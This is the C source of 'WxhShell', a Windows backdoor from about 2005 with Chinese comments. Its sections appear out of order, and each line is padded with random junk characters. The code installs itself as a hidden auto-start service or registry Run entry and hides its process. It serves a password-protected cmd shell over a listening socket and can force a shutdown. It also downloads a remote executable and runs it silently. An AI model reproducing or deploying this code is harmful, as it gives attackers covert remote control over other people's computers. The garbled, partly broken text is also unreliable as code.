  // 关机 M(LIF^'U:m  
  case 'd': { {7z]+h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J:Qx5;b;  
    if(Boot(SHUTDOWN)) hr6j+p:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }&e HU  
    else { k:R\;l5  
    closesocket(wsh); ]\ _tO  
    ExitThread(0); 3Z=yCec]  
    } ;p`to"6IFD  
    break; ~uty<fP  
    } QOSMV#Nw%  
  // 获取shell P=jsOuW  
  case 's': { }9fch9>Zr  
    CmdShell(wsh); )&d=2M;3  
    closesocket(wsh); nW7: ]  
    ExitThread(0); bS r"k  
    break; jS##zC  
  } A@)Q-V8*9s  
  // 退出 K4<"XF1A:  
  case 'x': { $DIy?kZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dX@ic,?  
    CloseIt(wsh); ;M4[Liw~O  
    break; _#:7S sJ  
    } OB$Jv<C@  
  // 离开 p TwzVz~  
  case 'q': { 8Sj<,+XFq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wGKxT ap  
    closesocket(wsh); "T5oUy&i  
    WSACleanup(); abR<( H12  
    exit(1); qpYgTn8l7  
    break; vf{$2 rC  
        } 4=Ru{ewRV  
  } xL"J?Gy  
  } "5~?`5Ff  
XxS#~J?:_  
  // 提示信息 d\]KG(T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @ztT1?!e  
} LkS tU)  
  } eTvjo(Lvx  
vu\W5M  
  return; 'kt6%d2  
}  Jc ze.t  
M?" 4 {  
// shell模块句柄 f/UU{vX(  
int CmdShell(SOCKET sock) O0L]xr  
{ *m+FMyr  
STARTUPINFO si; 9U6$-]J  
ZeroMemory(&si,sizeof(si)); Yz_}*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x-CjxU3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B#%QY\<X  
PROCESS_INFORMATION ProcessInfo; )__sw  
char cmdline[]="cmd"; l! 88|~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D5P-$1KPt  
  return 0; jc9C|r  
} *pa hZiO  
:p/=KI_  
// 自身启动模式 )LFbz#;Y  
int StartFromService(void) oOpEpQ}}q  
{ M*gvYo  
typedef struct ue@/o,C>  
{ Ne Y*l  
  DWORD ExitStatus; xz!0BG  
  DWORD PebBaseAddress; w)+1^eW  
  DWORD AffinityMask; AYfOETz  
  DWORD BasePriority; Cy$~H  
  ULONG UniqueProcessId; 81{8F  
  ULONG InheritedFromUniqueProcessId; 49=pB,H;H  
}   PROCESS_BASIC_INFORMATION; l%"DeRp,/  
hHJvLs>^  
PROCNTQSIP NtQueryInformationProcess; p7Wt(A  
}vZf&ib-   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ) Y)_T&O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q=5aHH% |  
+\Jo^\  
  HANDLE             hProcess; ) Su>8f[?e  
  PROCESS_BASIC_INFORMATION pbi; `D[O\ VE  
~F'6k&A^q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~Yk^(hl2  
  if(NULL == hInst ) return 0; x;u#ec4  
F,~BhKkbV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JHa1lj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %lnkD5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yM@sGz6c!  
qSr]d`7@  
  if (!NtQueryInformationProcess) return 0; @rbd`7$%  
p]RQ-0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &SbdX   
  if(!hProcess) return 0; Q/]~`S  
cmXbkM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :VlA2Ih&q  
q"2APvsvp  
  CloseHandle(hProcess); -z`FKej   
jSE)&K4nI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $lT8M-yK\  
if(hProcess==NULL) return 0; gdf0  
gxVr1DIkN  
HMODULE hMod; (1D1;J4g  
char procName[255]; A)]&L`s  
unsigned long cbNeeded; MygAmV&  
9 fB|e|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D2&d",%&f  
JyE-c}I  
  CloseHandle(hProcess); xcW\U^1d  
#G]IEO$M6  
if(strstr(procName,"services")) return 1; // 以服务启动 5eff3qrH{  
#9|&;C5',!  
  return 0; // 注册表启动 p"%D/-%Gu  
} vEg%ivj3  
0QZT<Zs  
// 主模块 zJw5+ +  
int StartWxhshell(LPSTR lpCmdLine) pmB {b  
{ 0 (-4"u>?  
  SOCKET wsl; CHKhJ v3+4  
BOOL val=TRUE; t~o"x.  
  int port=0; .ifz9 jM'  
  struct sockaddr_in door; NuR7pjNMZ  
:38{YCN  
  if(wscfg.ws_autoins) Install();  `qs,V  
I+kAy;2  
port=atoi(lpCmdLine); S~aWun  
{OPEW`F  
if(port<=0) port=wscfg.ws_port; B3ItZojAuw  
PSq?8.  
  WSADATA data; Vt}QP Nt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p}!i_P  
ASbI c"S6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o:QL%J{[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,K,st+s|  
  door.sin_family = AF_INET; h}SZ+G/L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jXA/G%:[  
  door.sin_port = htons(port); aNu.4c/5  
I^k&v V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fVn4=d6X  
closesocket(wsl); 06Wqfzceb  
return 1; 7e+C5W*9b  
} ^.LB(GZ,  
95'+8*YCY  
  if(listen(wsl,2) == INVALID_SOCKET) { 0V<kpC,4  
closesocket(wsl); kMVr[q,MEq  
return 1; O`y3H lc  
} GLO3v. n;  
  Wxhshell(wsl); -b^dK)wR~  
  WSACleanup(); es6YxMg  
e}?Q&Lci  
return 0; bfA>kn0C  
Qg/FFn^Kg*  
} l0,VN,$Yl  
jaEe$2F2  
// 以NT服务方式启动 {FFdMdxy-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  ?P +Uv  
{ ( /I6Wa  
DWORD   status = 0; L/jaUt[,  
  DWORD   specificError = 0xfffffff; ExtC\(X;  
P0}B&B/a:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .hx(9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E \/[hT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #[jS&rr(  
  serviceStatus.dwWin32ExitCode     = 0; 4x)vy -y  
  serviceStatus.dwServiceSpecificExitCode = 0; PI*@.kqR-  
  serviceStatus.dwCheckPoint       = 0; 5/nL[4Z  
  serviceStatus.dwWaitHint       = 0; 2ul8]=  
HU>>\t?d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m)L50ot:/  
  if (hServiceStatusHandle==0) return; ."ZG0Zg  
U 2YY   
status = GetLastError(); tsg`c;{  
  if (status!=NO_ERROR) J*rYw5QB  
{ '/xynk%)xw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '=$`NG8 l  
    serviceStatus.dwCheckPoint       = 0; f\oW<2k]~  
    serviceStatus.dwWaitHint       = 0; mce qZv  
    serviceStatus.dwWin32ExitCode     = status; nRBS&&V  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6,YoP|@0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5 I_ :7$8  
    return; 7k*  
  } kZG=C6a  
KE,.Evyu=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D@&xj_#\}  
  serviceStatus.dwCheckPoint       = 0; 7~P2q/2E>  
  serviceStatus.dwWaitHint       = 0; !nl-}P,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %@C8EFl%3  
} ^Saf z8-3o  
*4 LS``  
// 处理NT服务事件,比如:启动、停止 *>W<n1r@]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7T[$BrO\  
{ |c0^7vrC  
switch(fdwControl) YtvDayR>  
{ r =x"E$  
case SERVICE_CONTROL_STOP: yP3I^>AZ3  
  serviceStatus.dwWin32ExitCode = 0; Ua \f]y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m OUO)[6y  
  serviceStatus.dwCheckPoint   = 0; WOj}+?/3 R  
  serviceStatus.dwWaitHint     = 0; c #{|sR5  
  { 0M;g&&mF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >s/_B//[  
  } T9$~tv,5F  
  return; R*bx&..<  
case SERVICE_CONTROL_PAUSE: $!wU [/k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W<)nC_$  
  break; 2z !05]B%  
case SERVICE_CONTROL_CONTINUE: L~PiDQr?r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2gO@   
  break; C0f%~UMwd  
case SERVICE_CONTROL_INTERROGATE: me2vR#  
  break; gN<7(F  
}; ]8%E'd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PsUO8g'\  
} UY9*)pEE  
[c=W p  
// 标准应用程序主函数 c!\T 0XtT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2 %fcDEG/  
{ # l9VTzi  
Crc6wmp  
// 获取操作系统版本 NTq_"`JjZ  
OsIsNt=GetOsVer(); aR3jeB,=x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); AsE77AUA  
r1 :TM|5L  
  // 从命令行安装 $ H+X'1  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^J>m4`  
:"# "{P  
  // 下载执行文件 -Wa<}Tz  
if(wscfg.ws_downexe) { ggPGKY-b=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4RDY_HgF6  
  WinExec(wscfg.ws_filenam,SW_HIDE); *-=/"m  
} T P#Ncqh  
Io<T'K  
if(!OsIsNt) { bp'%UgA)1  
// 如果时win9x,隐藏进程并且设置为注册表启动 =KQIrS:  
HideProc(); SM)"vr_  
StartWxhshell(lpCmdLine); 6 9$R.  
} ZhCd**  
else 1/mBp+D  
  if(StartFromService()) {wM<i  
  // 以服务方式启动 `\(co;:  
  StartServiceCtrlDispatcher(DispatchTable); EXeV @kg  
else yg8= G vO  
  // 普通方式启动 }JtcAuQt  
  StartWxhshell(lpCmdLine); Z{vc6oj  
O-7)"   
return 0; TI8\qIW  
} 5yt=~  
i Ehc<  
[ p,]/ ^ N  
'V%w{ZiiV  
=========================================== #tg\ bb  
OMk3\FV2Z  
8Y8bFWuc  
afHRy:<+%  
bK}ZR*)  
;B |  
" ;/V])4=  
FWeUZI+  
#include <stdio.h> ~m<K5K6 V  
#include <string.h> (t3gNin  
#include <windows.h> DXD+,y\=  
#include <winsock2.h> > A@yF?  
#include <winsvc.h> 8Ckd.HKpQ  
#include <urlmon.h> .0yBI=QI  
*\#<2 QAe  
#pragma comment (lib, "Ws2_32.lib") "uuM#@h  
#pragma comment (lib, "urlmon.lib") D8! Y0  
*VXx\&  
#define MAX_USER   100 // 最大客户端连接数 Pi1LOCq  
#define BUF_SOCK   200 // sock buffer G)YmaHeI;[  
#define KEY_BUFF   255 // 输入 buffer - s'W^(  
pvl];w  
#define REBOOT     0   // 重启 eXsp0!v  
#define SHUTDOWN   1   // 关机 ~rI2 RJ  
6wpu[  
#define DEF_PORT   5000 // 监听端口 mEYfsO  
P%&|?e~D^  
#define REG_LEN     16   // 注册表键长度 9[\do@  
#define SVC_LEN     80   // NT服务名长度 :I"2 2EH  
I/upiqy  
// 从dll定义API aC' 6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g:~q&b[q6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bHm/ZZx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RLex#j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZYY~A_C  
Z2*?a|3  
// wxhshell配置信息 >q?{'#i /  
struct WSCFG { Iu0GOy*[  
  int ws_port;         // 监听端口 Zc38ht\r;  
  char ws_passstr[REG_LEN]; // 口令 G"3KYBN>  
  int ws_autoins;       // 安装标记, 1=yes 0=no \nyqW4nTm  
  char ws_regname[REG_LEN]; // 注册表键名 %I`'it2d  
  char ws_svcname[REG_LEN]; // 服务名 m["e7>9G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;uc3_J]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @$kzes\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a5m[ N'kah  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~Fo2MwE2~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #]^C(qmb:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~G8l1dD  
HZ!<dy3  
}; z|],s]F>G  
-]}#Z:&  
// default Wxhshell configuration lmUCrs37  
struct WSCFG wscfg={DEF_PORT, XySkm2y  
    "xuhuanlingzhe", f'"PQr^9  
    1, /T  {R\  
    "Wxhshell", ;2`t0#J$]  
    "Wxhshell", W\0u[IV.x  
            "WxhShell Service", ' xaPahx;  
    "Wrsky Windows CmdShell Service", %j@/Tx/  
    "Please Input Your Password: ", *qL'WrB1  
  1, M`Wk@t6>  
  "http://www.wrsky.com/wxhshell.exe", q},,[t  
  "Wxhshell.exe" _d7;Z%  
    }; v1+.-hO  
h8M_Uk  
// 消息定义模块 9 4bDJy1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1NZpd'$c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L~h:>I+pG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7s%1?$B  
char *msg_ws_ext="\n\rExit."; 0n4(Rj|}2  
char *msg_ws_end="\n\rQuit."; =n=!s{A:t  
char *msg_ws_boot="\n\rReboot..."; n(LO`{  
char *msg_ws_poff="\n\rShutdown..."; [vuikJP>1k  
char *msg_ws_down="\n\rSave to "; _qOynW  
H/ ejO_{  
char *msg_ws_err="\n\rErr!"; }jce5E  
char *msg_ws_ok="\n\rOK!"; !Q_Kil.9  
\I6F;G6  
char ExeFile[MAX_PATH]; I4ZbMnO  
int nUser = 0; Nk%$;Si  
HANDLE handles[MAX_USER]; XmwR^  
int OsIsNt; Hr]  
FmF[S&gFRs  
SERVICE_STATUS       serviceStatus; #~m^RoE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Exv!!0Cd^  
iu{;|E  
// 函数声明 VR_/Vh ]@  
int Install(void); AK'3N1l`  
int Uninstall(void); m=COF$<  
int DownloadFile(char *sURL, SOCKET wsh); 3qu?qD  
int Boot(int flag); 0S+$l  
void HideProc(void); }9B},  
int GetOsVer(void); dEkST[Y3  
int Wxhshell(SOCKET wsl); Ed;!A(64r  
void TalkWithClient(void *cs); zA|lbJz=GY  
int CmdShell(SOCKET sock); =d~pr:.F  
int StartFromService(void); ub1~+T'O  
int StartWxhshell(LPSTR lpCmdLine); 3 %r*~#nz  
45Zh8k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o&k,aCQC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *yZta:(w-W  
>}0H5Q8@  
// 数据结构和表定义 MVQ6I/EA4  
SERVICE_TABLE_ENTRY DispatchTable[] = =D?HL?  
{ qKeR}&b  
{wscfg.ws_svcname, NTServiceMain}, D > U(&n  
{NULL, NULL} Ln+.$ C  
}; S+eu3nMq  
d'Dd66  
// 自我安装 f2KH&j>~r  
int Install(void) l.;^w  
{ pFu!$.Fr  
  char svExeFile[MAX_PATH]; JAMV@  
  HKEY key; =SW<Vhtb  
  strcpy(svExeFile,ExeFile); %@aC5^Ovy+  
Wy1.nn[  
// 如果是win9x系统,修改注册表设为自启动 Kn?h  
if(!OsIsNt) {  N`X|z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |_s,]:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8{icY|:MTN  
  RegCloseKey(key); .DnG}884  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  cFjD*r-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zw5Ol%JF  
  RegCloseKey(key); A'u]z\&%c  
  return 0; tK+JmbB\  
    } ?hp,h3s;n$  
  } DtS7)/<T  
} j g EYlZ  
else { 8/P!i2o  
/UR;,ts  
// 如果是NT以上系统,安装为系统服务 >*^SQ{9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z;R/!Py.  
if (schSCManager!=0) 0Nk!.gY  
{ !-SI &qy  
  SC_HANDLE schService = CreateService ?caHS2%?ae  
  ( _x$Eq: i  
  schSCManager, UpQda`rb  
  wscfg.ws_svcname, cV`NQt<W  
  wscfg.ws_svcdisp, v$;URF%^  
  SERVICE_ALL_ACCESS, ,k@i Nid  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "ZNy*.G|[  
  SERVICE_AUTO_START, ?< Ma4yl</  
  SERVICE_ERROR_NORMAL, |Z o36@s  
  svExeFile, &`]T# ">  
  NULL, 'c/8|9jX  
  NULL, M3d%$q)<rW  
  NULL, x FvK jO)  
  NULL, j@UE#I|h  
  NULL Hy'EbQ  
  ); r M}o)  
  if (schService!=0) JnQ@uZb`  
  { ,a2=OV  
  CloseServiceHandle(schService); "N,@J-]/k  
  CloseServiceHandle(schSCManager); LH@Kn?R6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2>CR]  
  strcat(svExeFile,wscfg.ws_svcname); HB<>x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +n &8" )  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F,mStw:  
  RegCloseKey(key); 5VVU%STP  
  return 0; >B$ IrM7J  
    } lEQj62zIQ  
  } iK5[P  
  CloseServiceHandle(schSCManager); Oq}7q!H  
} vMJ_n=Vf  
} X VKRT7U  
;D(6Gy9~  
return 1; FId,/la  
} NJ$Qm.S  
f& Sovuuh  
// 自我卸载 -0k{O@l"  
int Uninstall(void) 4zOFu/l6R  
{ @aB7dtM  
  HKEY key; `Xi)';p  
bXM&VW?OP  
if(!OsIsNt) { \4fuC6d2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %_39Wa  
  RegDeleteValue(key,wscfg.ws_regname); i8*(J-M  
  RegCloseKey(key); \2Q#'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R=iwp%c(  
  RegDeleteValue(key,wscfg.ws_regname); ?2gXF0+~Y2  
  RegCloseKey(key); r. rzU  
  return 0; &< FKcrZ,  
  } R_:lp\S&  
} ;jKLB^4nX  
} fNrpYR X  
else { ,a0RI<D  
fQw=z$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lm{4x~y$h  
if (schSCManager!=0) VEL!-e^X&  
{ @c>MROlrlF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .\ vrBf  
  if (schService!=0) K'K/}q<  
  { LF:~& m  
  if(DeleteService(schService)!=0) { XHJ/211  
  CloseServiceHandle(schService); [xdVuL;N  
  CloseServiceHandle(schSCManager); +mO/9m  
  return 0; M@pF[J/  
  } "SC]G22  
  CloseServiceHandle(schService); 7PO]\X^(zE  
  } <c,iu{:  
  CloseServiceHandle(schSCManager); 6>'>BamX  
} UnZc9 6  
} W:8{}Iu<  
(r1"!~d@  
return 1; SEM- t   
} Pn ?gB}l  
vXak5iq>X  
// 从指定url下载文件 {s2eOL5I|%  
int DownloadFile(char *sURL, SOCKET wsh) I3ugBLxVC3  
{ iqWkhJphv  
  HRESULT hr; !|J2o8g  
char seps[]= "/"; J!QIMA4{  
char *token; vcP_gJz  
char *file; 0OtUb:8LX  
char myURL[MAX_PATH]; c'bh`H4  
char myFILE[MAX_PATH]; R0GD9  
'^'PdB  
strcpy(myURL,sURL); [XP\WG>s  
  token=strtok(myURL,seps); gU@R   
  while(token!=NULL) Iqj?wI 1)  
  { @k-GyV-v  
    file=token; <yw=+hz[u  
  token=strtok(NULL,seps); ,GtN6?  
  } JUq7R%"h6  
+N|t:8qaf  
GetCurrentDirectory(MAX_PATH,myFILE); ndvt $*  
strcat(myFILE, "\\"); AFsYP/g]  
strcat(myFILE, file); MJn=  
  send(wsh,myFILE,strlen(myFILE),0); %^u e  
send(wsh,"...",3,0); ^>y|{;`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \rH0=~F-P  
  if(hr==S_OK) 0p*Oxsy  
return 0; w)>/fG|;  
else :{-/b  
return 1; FlbM(ofY  
e "Tr0k  
} GCxmqoQ  
}AS3]Lub@  
// 系统电源模块 8(!?y[  
int Boot(int flag) h~Z:YY)4  
{ <^e  
  HANDLE hToken; +rDKx(Rk  
  TOKEN_PRIVILEGES tkp; kr44@!s+'  
H00iy$R  
  if(OsIsNt) { QghL=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H 9?txNea  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Jg6@)<n  
    tkp.PrivilegeCount = 1; D@ BP<   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i\ )$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b,#?LdQ%  
if(flag==REBOOT) { cfc=a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ypTH=]y  
  return 0; hz-^9U  
} U@LIw6B!KL  
else { iu`B8yI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T^2o' _:  
  return 0; =o[H2o y  
} {t('`z  
  } oe=W}y_k  
  else { suN}6C I  
if(flag==REBOOT) { uLt31G()  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -]:1zU  
  return 0; -[z1r)RZ  
} R]d934s  
else { jZ,=tF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #*+$o<Q]9  
  return 0; 1L4v X  
} }x"8v&3CM_  
} ZP<OyX?  
sGGi7 %  
return 1; cu4|!s`#  
} Bdib)t[  
R`%O=S*]  
// win9x进程隐藏模块 0BP=SCi  
void HideProc(void) Co:Rg@i(F  
{ PWS5s^WM  
Aj"fkY|Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lt{"N'Gw6  
  if ( hKernel != NULL ) @:P:`Zk  
  { ~mT([V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X D \;|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "iuNYM5 P  
    FreeLibrary(hKernel); HQc^ybX5  
  } `OWwqLoeA  
%eJE@$  
return; vZ|Wj] ;o  
} 0w6"p>s>c  
2-rfFqpe  
// 获取操作系统版本 F441K,I  
int GetOsVer(void) odTIz{9qG  
{ stq%Eg?  
  OSVERSIONINFO winfo; :MF+`RpL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9i!|wkx  
  GetVersionEx(&winfo); W'5c%SI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KWn.  
  return 1; 5&}p'6*K  
  else s<8|_Dt  
  return 0; L ?S#3@Pa  
} Ots]y  
S\6.vw!'  
// 客户端句柄模块 \WM"VT  
int Wxhshell(SOCKET wsl) +VO(6Jn  
{ dMa6hI{k  
  SOCKET wsh; F2',3  
  struct sockaddr_in client; %5<Xa  
  DWORD myID; H|<Zm:.%$  
bqQR";  
  while(nUser<MAX_USER) h:r:qk  
{ f|{&Y2h(R  
  int nSize=sizeof(client); kp,$ NfD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b25C[C5C  
  if(wsh==INVALID_SOCKET) return 1; Wtp;se@#  
W<Asr@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {s?x NU  
if(handles[nUser]==0) d-B,)$zE  
  closesocket(wsh); ;2547b[ ]  
else @E?o~jO(e  
  nUser++; dz )(~@tgz  
  } #$ ,b )Uy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +<sv/gEt  
Vd A!tL  
  return 0; q)y<\cEO  
} e^-CxHwA-  
xDn#=%~+x  
// 关闭 socket uiaZ@  
void CloseIt(SOCKET wsh) P:m6:F@hO  
{ p9~$}!ua  
closesocket(wsh); dU|&- .rG  
nUser--; w!52DBOe+  
ExitThread(0); ZY8:7Q@P>  
} o=C'u  
=L, 7~9  
// 客户端请求句柄 )_1;mc8B  
void TalkWithClient(void *cs) Z':w X  
{ %kV #UzL  
WI-I+0sE  
  SOCKET wsh=(SOCKET)cs; lT;uL~j  
  char pwd[SVC_LEN]; Di &XDW/  
  char cmd[KEY_BUFF]; LDj*~\vsq  
char chr[1]; q'`LwAU}  
int i,j; 2:;;  
_i2k$Nr  
  while (nUser < MAX_USER) { "IRF^1 p  
N$P\$  
if(wscfg.ws_passstr) { otdm r w|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g ?{o2gG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rWip[>^  
  //ZeroMemory(pwd,KEY_BUFF); B[;aNyd<  
      i=0; 6rN.)dL.#N  
  while(i<SVC_LEN) { !5>PZ{J  
%G'P!xQhy  
  // 设置超时 ?l^NKbw  
  fd_set FdRead; 8]xYE19=  
  struct timeval TimeOut; __,F_9M  
  FD_ZERO(&FdRead); !OMl-:KUzE  
  FD_SET(wsh,&FdRead); ,y[8Vz?:  
  TimeOut.tv_sec=8; lZ?YyRsa6&  
  TimeOut.tv_usec=0; <4.j] BE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3NN )ql  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sQLjb8!7  
75H;6(7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1 abQoe  
  pwd=chr[0]; B$_-1^L e  
  if(chr[0]==0xd || chr[0]==0xa) { Xt$Y&Ho  
  pwd=0; \?"kT}..  
  break; N)  
  } y`J8hawp  
  i++; a[NR%Xq  
    } z#/"5 l   
3?<LWrhV3  
  // 如果是非法用户,关闭 socket !u|s8tN.U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P$6 Pe>3  
} :d wP  
4z,/0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h.5KzC S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {Hzj(c~S?  
YGOhUT |  
while(1) { %(:{TR  
3shd0q<  
  ZeroMemory(cmd,KEY_BUFF); P}"uC`036  
)8_MkFQe  
      // 自动支持客户端 telnet标准   Y {|is2M9'  
  j=0; _tpOVw4I  
  while(j<KEY_BUFF) { u4DrZ-v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R^@   
  cmd[j]=chr[0]; ?$ M:4mX  
  if(chr[0]==0xa || chr[0]==0xd) { )&93YrHgC  
  cmd[j]=0; v>0} v)<v  
  break; wx_j)Wij6  
  } - 9a4ej5  
  j++; G$;cA:p-j  
    } KxQMPtHstz  
o~26<Lk  
  // 下载文件 ^n*:zmD  
  if(strstr(cmd,"http://")) { 2Wr^#PY60  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $aHHXd}@t2  
  if(DownloadFile(cmd,wsh)) RhkTN'vO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UD ;UdehC  
  else I8{ mkh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "pc t#  
  } @]dv   
  else { q$'[&&_  
u]& +TR  
